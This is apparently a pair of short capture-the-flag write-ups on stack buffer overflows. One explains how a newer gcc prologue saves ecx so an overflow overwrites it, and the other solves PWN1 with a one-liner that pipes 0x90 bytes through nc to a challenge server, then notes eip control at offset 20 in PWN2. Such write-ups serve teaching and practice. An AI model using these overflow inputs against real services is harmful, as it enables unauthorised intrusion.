Writeup

When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows: 80485cb: 8d 4c 24 04 lea ecx,[esp+0x4] 80485cf: 83 e4 f0 and esp,0xfffffff0 80485d2: ff 71 fc push DWORD PTR [ecx-0x4] 80485d5: 55 push ebp 80485d6: 89 e5 mov ebp,esp 80485d8: 51 push ecx 80485d9: 83 ec 34 sub esp,0x34 ...... 8048682: b8 00 00 00 00 mov eax,0x0 8048687: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 804868a: c9 leave 804868b: 8d 61 fc lea esp,[ecx-0x4] 804868e: c3 ret You can see that during setup, lea ecx,[esp+0x4] puts the value of esp into ecx, then pushes ecx onto the stack; after we overflow, we also overwrite that original value. ...

A quick write-up. PWN1 Throw it into IDA and you can see: if ( v4 == 0x90909090 ) result = puts(aCensordCensord); else result = printf("Your point is only %d, try hard!\n", v4, v1, v2, v3); return result; Just stuff it with 0x90 and you’re done: python -c 'print "\x90"*1000' | nc 52.69.163.194 1111 PWN2 After locating byte 20 you can control eip: gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x08048364 _init 0x080483a0 read@plt You can point it at read; generally it looks like this: ...